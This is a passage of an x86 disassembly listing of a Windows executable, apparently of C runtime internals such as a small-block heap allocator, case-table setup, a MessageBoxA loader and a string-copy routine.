loc_403BF2: ; CODE XREF: sub_403AE6+127j
mov ds:byte_407120[eax], dl
jmp short loc_403C16
; ---------------------------------------------------------------------------
loc_403BFA: ; CODE XREF: sub_403AE6+FCj
test dl, 2
jz short loc_403C0F
or ds:byte_407221[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_403BF2
; ---------------------------------------------------------------------------
loc_403C0F: ; CODE XREF: sub_403AE6+117j
and ds:byte_407120[eax], 0
loc_403C16: ; CODE XREF: sub_403AE6+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_403BDC
jmp short loc_403C68
; ---------------------------------------------------------------------------
loc_403C1F: ; CODE XREF: sub_403AE6+1Dj
xor eax, eax
mov esi, 100h
loc_403C26: ; CODE XREF: sub_403AE6+180j
cmp eax, 41h
jb short loc_403C44
cmp eax, 5Ah
ja short loc_403C44
or ds:byte_407221[eax], 10h
mov cl, al
add cl, 20h
loc_403C3C: ; CODE XREF: sub_403AE6+174j
mov ds:byte_407120[eax], cl
jmp short loc_403C63
; ---------------------------------------------------------------------------
loc_403C44: ; CODE XREF: sub_403AE6+143j
; sub_403AE6+148j
cmp eax, 61h
jb short loc_403C5C
cmp eax, 7Ah
ja short loc_403C5C
or ds:byte_407221[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_403C3C
; ---------------------------------------------------------------------------
loc_403C5C: ; CODE XREF: sub_403AE6+161j
; sub_403AE6+166j
and ds:byte_407120[eax], 0
loc_403C63: ; CODE XREF: sub_403AE6+15Cj
inc eax
cmp eax, esi
jb short loc_403C26
loc_403C68: ; CODE XREF: sub_403AE6+137j
pop esi
leave
retn
sub_403AE6 endp
; =============== S U B R O U T I N E =======================================
sub_403C6B proc near ; CODE XREF: sub_402D47+9p
; sub_402D9F+Dp ...
cmp ds:dword_407448, 0
jnz short locret_403C86
push 0FFFFFFFDh
call sub_4038A7
pop ecx
mov ds:dword_407448, 1
locret_403C86: ; CODE XREF: sub_403C6B+7j
retn
sub_403C6B endp
; =============== S U B R O U T I N E =======================================
sub_403C87 proc near ; CODE XREF: sub_402D9F+9Dp
; sub_4030A5+BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_403CB4
push esi
call sub_403D68
pop ecx
test eax, eax
push esi
jz short loc_403CA6
push eax
call sub_403D93
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_403CA6: ; CODE XREF: sub_403C87+13j
push 0
push ds:dword_407328
call ds:dword_405084 ; RtlFreeHeap
loc_403CB4: ; CODE XREF: sub_403C87+7j
pop esi
retn
sub_403C87 endp
; =============== S U B R O U T I N E =======================================
sub_403CB6 proc near ; CODE XREF: sub_402D9F+3Ap
; sub_402D9F+6Fp ...
arg_0 = dword ptr 4
push ds:dword_4070E0
push [esp+4+arg_0]
call sub_403CC8
pop ecx
pop ecx
retn
sub_403CB6 endp
; =============== S U B R O U T I N E =======================================
sub_403CC8 proc near ; CODE XREF: sub_403CB6+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_403CF1
loc_403CCF: ; CODE XREF: sub_403CC8+27j
push [esp+arg_0]
call sub_403CF4
test eax, eax
pop ecx
jnz short locret_403CF3
cmp [esp+arg_4], eax
jz short locret_403CF3
push [esp+arg_0]
call sub_40494D
test eax, eax
pop ecx
jnz short loc_403CCF
loc_403CF1: ; CODE XREF: sub_403CC8+5j
xor eax, eax
locret_403CF3: ; CODE XREF: sub_403CC8+13j
; sub_403CC8+19j
retn
sub_403CC8 endp
; =============== S U B R O U T I N E =======================================
sub_403CF4 proc near ; CODE XREF: sub_403CC8+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, ds:dword_406F28
ja short loc_403D0C
push esi
call sub_4040BE
test eax, eax
pop ecx
jnz short loc_403D28
loc_403D0C: ; CODE XREF: sub_403CF4+Bj
test esi, esi
jnz short loc_403D13
push 1
pop esi
loc_403D13: ; CODE XREF: sub_403CF4+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push ds:dword_407328
call ds:dword_405060 ; RtlAllocateHeap
loc_403D28: ; CODE XREF: sub_403CF4+16j
pop esi
retn
sub_403CF4 endp
; =============== S U B R O U T I N E =======================================
sub_403D2A proc near ; CODE XREF: sub_403382+20p
push 140h
push 0
push ds:dword_407328
call ds:dword_405060 ; RtlAllocateHeap
test eax, eax
mov ds:dword_4070FC, eax
jnz short loc_403D47
retn
; ---------------------------------------------------------------------------
loc_403D47: ; CODE XREF: sub_403D2A+1Aj
and ds:dword_4070F4, 0
and ds:dword_4070F8, 0
push 1
mov ds:dword_4070F0, eax
mov ds:dword_4070E8, 10h
pop eax
retn
sub_403D2A endp
; =============== S U B R O U T I N E =======================================
sub_403D68 proc near ; CODE XREF: sub_403C87+Ap
arg_0 = dword ptr 4
mov eax, ds:dword_4070F8
lea ecx, [eax+eax*4]
mov eax, ds:dword_4070FC
lea ecx, [eax+ecx*4]
loc_403D78: ; CODE XREF: sub_403D68+26j
cmp eax, ecx
jnb short loc_403D90
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_403D92
add eax, 14h
jmp short loc_403D78
; ---------------------------------------------------------------------------
loc_403D90: ; CODE XREF: sub_403D68+12j
xor eax, eax
locret_403D92: ; CODE XREF: sub_403D68+21j
retn
sub_403D68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403D93 proc near ; CODE XREF: sub_403C87+16p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_403E59
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_403DEB
mov [ebp+arg_4], edi
loc_403DEB: ; CODE XREF: sub_403D93+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_403E3D
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_403E19
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_403E3D
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_403E3D
; ---------------------------------------------------------------------------
loc_403E19: ; CODE XREF: sub_403D93+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_403E3D
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_403E3D: ; CODE XREF: sub_403D93+60j
; sub_403D93+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_403E59: ; CODE XREF: sub_403D93+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_403E67
push 3Fh
pop edi
loc_403E67: ; CODE XREF: sub_403D93+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_403F16
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_403E92
mov [ebp+arg_4], edx
mov ecx, edx
loc_403E92: ; CODE XREF: sub_403D93+F8j
add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_403EA4
mov edi, edx
loc_403EA4: ; CODE XREF: sub_403D93+10Dj
cmp ecx, edi
jz short loc_403F13
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_403EFB
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_403ED7
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_403EFB
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_403EFB
; ---------------------------------------------------------------------------
loc_403ED7: ; CODE XREF: sub_403D93+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_403EFB
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_403EFB: ; CODE XREF: sub_403D93+11Ej
; sub_403D93+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_403F13: ; CODE XREF: sub_403D93+113j
mov edx, [ebp+var_8]
loc_403F16: ; CODE XREF: sub_403D93+DDj
cmp [ebp+var_14], 0
jnz short loc_403F25
cmp [ebp+arg_4], edi
jz loc_403FAE
loc_403F25: ; CODE XREF: sub_403D93+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_403FAE
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_403F82
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_403F71
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_403F71: ; CODE XREF: sub_403D93+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_403FAB
; ---------------------------------------------------------------------------
loc_403F82: ; CODE XREF: sub_403D93+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_403F98
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_403F98: ; CODE XREF: sub_403D93+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_403FAB: ; CODE XREF: sub_403D93+1EDj
mov ebx, [ebp+var_C]
loc_403FAE: ; CODE XREF: sub_403D93+18Cj
; sub_403D93+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_4040B9
mov eax, ds:dword_4070F4
test eax, eax
jz loc_4040AB
mov ecx, ds:dword_4070EC
mov edi, ds:dword_405088
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi ; VirtualFree
mov ecx, ds:dword_4070EC
mov eax, ds:dword_4070F4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, ds:dword_4070F4
mov ecx, ds:dword_4070EC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, ds:dword_4070F4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, ds:dword_4070F4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_404039
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, ds:dword_4070F4
loc_404039: ; CODE XREF: sub_403D93+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_4040AB
push ebx
push 0
push dword ptr [eax+0Ch]
call edi ; VirtualFree
mov eax, ds:dword_4070F4
push dword ptr [eax+10h]
push 0
push ds:dword_407328
call ds:dword_405084 ; RtlFreeHeap
mov eax, ds:dword_4070F8
mov edx, ds:dword_4070FC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, ds:dword_4070F4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_404970
mov eax, [ebp+arg_0]
add esp, 0Ch
dec ds:dword_4070F8
cmp eax, ds:dword_4070F4
jbe short loc_40409D
sub eax, 14h
loc_40409D: ; CODE XREF: sub_403D93+305j
mov ecx, ds:dword_4070FC
mov ds:dword_4070F0, ecx
jmp short loc_4040AE
; ---------------------------------------------------------------------------
loc_4040AB: ; CODE XREF: sub_403D93+233j
; sub_403D93+2AAj
mov eax, [ebp+arg_0]
loc_4040AE: ; CODE XREF: sub_403D93+316j
mov ds:dword_4070F4, eax
mov ds:dword_4070EC, esi
loc_4040B9: ; CODE XREF: sub_403D93+226j
pop edi
pop esi
pop ebx
leave
retn
sub_403D93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040BE proc near ; CODE XREF: sub_403CF4+Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, ds:dword_4070F8
mov edx, ds:dword_4070FC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_4040FE
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_40410E
; ---------------------------------------------------------------------------
loc_4040FE: ; CODE XREF: sub_4040BE+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_40410E: ; CODE XREF: sub_4040BE+3Ej
mov eax, ds:dword_4070F0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_404135
loc_40411C: ; CODE XREF: sub_4040BE+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_404135
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_40411C
loc_404135: ; CODE XREF: sub_4040BE+5Cj
; sub_4040BE+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_4041B3
mov ebx, edx
loc_40413C: ; CODE XREF: sub_4040BE+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_404158
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_404156
add ebx, 14h
jmp short loc_40413C
; ---------------------------------------------------------------------------
loc_404156: ; CODE XREF: sub_4040BE+91j
cmp ebx, eax
loc_404158: ; CODE XREF: sub_4040BE+83j
jnz short loc_4041B3
loc_40415A: ; CODE XREF: sub_4040BE+ADj
cmp ebx, [ebp+var_4]
jnb short loc_404170
cmp dword ptr [ebx+8], 0
jnz short loc_40416D
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_40415A
; ---------------------------------------------------------------------------
loc_40416D: ; CODE XREF: sub_4040BE+A5j
cmp ebx, [ebp+var_4]
loc_404170: ; CODE XREF: sub_4040BE+9Fj
jnz short loc_404198
mov ebx, edx
loc_404174: ; CODE XREF: sub_4040BE+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_404188
cmp dword ptr [ebx+8], 0
jnz short loc_404186
add ebx, 14h
jmp short loc_404174
; ---------------------------------------------------------------------------
loc_404186: ; CODE XREF: sub_4040BE+C1j
cmp ebx, eax
loc_404188: ; CODE XREF: sub_4040BE+BBj
jnz short loc_404198
call sub_4043C7
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_4041AC
loc_404198: ; CODE XREF: sub_4040BE:loc_404170j
; sub_4040BE:loc_404188j
push ebx
call sub_404478
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_4041B3
loc_4041AC: ; CODE XREF: sub_4040BE+D8j
xor eax, eax
jmp loc_4043C2
; ---------------------------------------------------------------------------
loc_4041B3: ; CODE XREF: sub_4040BE+7Aj
; sub_4040BE:loc_404158j ...
mov ds:dword_4070F0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_4041DA
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_404211
loc_4041DA: ; CODE XREF: sub_4040BE+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_40420E
loc_4041F7: ; CODE XREF: sub_4040BE+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_4041F7
loc_40420E: ; CODE XREF: sub_4040BE+137j
mov edx, [ebp+var_4]
loc_404211: ; CODE XREF: sub_4040BE+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_40423A
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_40423A: ; CODE XREF: sub_4040BE+16Dj
; sub_4040BE+183j
test ecx, ecx
jl short loc_404243
shl ecx, 1
inc edi
jmp short loc_40423A
; ---------------------------------------------------------------------------
loc_404243: ; CODE XREF: sub_4040BE+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_404260
push 3Fh
pop esi
loc_404260: ; CODE XREF: sub_4040BE+19Dj
cmp esi, edi
jz loc_404375
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_4042D1
cmp edi, 20h
jge short loc_4042A0
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_4042CE
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_4042D1
; ---------------------------------------------------------------------------
loc_4042A0: ; CODE XREF: sub_4040BE+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_4042CE
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_4042D1
; ---------------------------------------------------------------------------
loc_4042CE: ; CODE XREF: sub_4040BE+1D6j
; sub_4040BE+203j
mov ebx, [ebp+arg_0]
loc_4042D1: ; CODE XREF: sub_4040BE+1B0j
; sub_4040BE+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_404381
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_404372
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_404343
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_404331
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_404331: ; CODE XREF: sub_4040BE+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_404372
; ---------------------------------------------------------------------------
loc_404343: ; CODE XREF: sub_4040BE+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_40435C
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_40435C: ; CODE XREF: sub_4040BE+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_404372: ; CODE XREF: sub_4040BE+24Ej
; sub_4040BE+283j
mov ecx, [ebp+var_8]
loc_404375: ; CODE XREF: sub_4040BE+1A4j
test ecx, ecx
jz short loc_404384
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_404384
; ---------------------------------------------------------------------------
loc_404381: ; CODE XREF: sub_4040BE+229j
mov ecx, [ebp+var_8]
loc_404384: ; CODE XREF: sub_4040BE+2B9j
; sub_4040BE+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_4043BA
cmp ebx, ds:dword_4070F4
jnz short loc_4043BA
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_4070EC
jnz short loc_4043BA
and ds:dword_4070F4, 0
loc_4043BA: ; CODE XREF: sub_4040BE+2E0j
; sub_4040BE+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_4043C2: ; CODE XREF: sub_4040BE+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_4040BE endp
; =============== S U B R O U T I N E =======================================
sub_4043C7 proc near ; CODE XREF: sub_4040BE+CCp
mov eax, ds:dword_4070F8
mov ecx, ds:dword_4070E8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_40440A
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push ds:dword_4070FC
push edi
push ds:dword_407328
call ds:dword_405058 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_40445A
add ds:dword_4070E8, 10h
mov ds:dword_4070FC, eax
mov eax, ds:dword_4070F8
loc_40440A: ; CODE XREF: sub_4043C7+11j
mov ecx, ds:dword_4070FC
push 41C4h
push 8
lea eax, [eax+eax*4]
push ds:dword_407328
lea esi, [ecx+eax*4]
call ds:dword_405060 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_40445A
push 4
push 2000h
push 100000h
push edi
call ds:dword_40505C ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_40445E
push dword ptr [esi+10h]
push edi
push ds:dword_407328
call ds:dword_405084 ; RtlFreeHeap
loc_40445A: ; CODE XREF: sub_4043C7+30j
; sub_4043C7+67j
xor eax, eax
jmp short loc_404475
; ---------------------------------------------------------------------------
loc_40445E: ; CODE XREF: sub_4043C7+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc ds:dword_4070F8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_404475: ; CODE XREF: sub_4043C7+95j
pop edi
pop esi
retn
sub_4043C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404478 proc near ; CODE XREF: sub_4040BE+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_40448A: ; CODE XREF: sub_404478+19j
test eax, eax
jl short loc_404493
shl eax, 1
inc ebx
jmp short loc_40448A
; ---------------------------------------------------------------------------
loc_404493: ; CODE XREF: sub_404478+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_4044A8: ; CODE XREF: sub_404478+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_4044A8
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call ds:dword_40505C ; VirtualAlloc
test eax, eax
jnz short loc_4044DB
or eax, 0FFFFFFFFh
jmp loc_40456E
; ---------------------------------------------------------------------------
loc_4044DB: ; CODE XREF: sub_404478+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_404521
lea eax, [edi+10h]
loc_4044E8: ; CODE XREF: sub_404478+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_4044E8
loc_404521: ; CODE XREF: sub_404478+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_40455E
or [eax+4], edi
loc_40455E: ; CODE XREF: sub_404478+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_40456E: ; CODE XREF: sub_404478+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_404478 endp
; =============== S U B R O U T I N E =======================================
sub_404573 proc near ; CODE XREF: sub_4035C9+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp ds:dword_4070B0, ebx
push esi
push edi
jnz short loc_4045C2
push offset aUser32_dll ; "user32.dll"
call ds:dword_405014 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4045F8
mov esi, ds:dword_405054
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov ds:dword_4070B0, eax
jz short loc_4045F8
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov ds:dword_4070B4, eax
call esi ; GetProcAddress
mov ds:dword_4070B8, eax
loc_4045C2: ; CODE XREF: sub_404573+Bj
mov eax, ds:dword_4070B4
test eax, eax
jz short loc_4045E1
call eax
mov ebx, eax
test ebx, ebx
jz short loc_4045E1
mov eax, ds:dword_4070B8
test eax, eax
jz short loc_4045E1
push ebx
call eax
mov ebx, eax
loc_4045E1: ; CODE XREF: sub_404573+56j
; sub_404573+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call ds:dword_4070B0
loc_4045F4: ; CODE XREF: sub_404573+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4045F8: ; CODE XREF: sub_404573+1Cj
; sub_404573+33j
xor eax, eax
jmp short loc_4045F4
sub_404573 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_404600 proc near ; CODE XREF: sub_4035C9+C5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_404683
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_404624
shr ecx, 2
jnz short loc_404691
jmp short loc_404645
; ---------------------------------------------------------------------------
loc_404624: ; CODE XREF: sub_404600+1Bj
; sub_404600+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_404652
test al, al
jz short loc_40465A
test esi, 3
jnz short loc_404624
mov ebx, ecx
shr ecx, 2
jnz short loc_404691
loc_404640: ; CODE XREF: sub_404600+8Fj
and ebx, 3
jz short loc_404652
loc_404645: ; CODE XREF: sub_404600+22j
; sub_404600+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_40467E
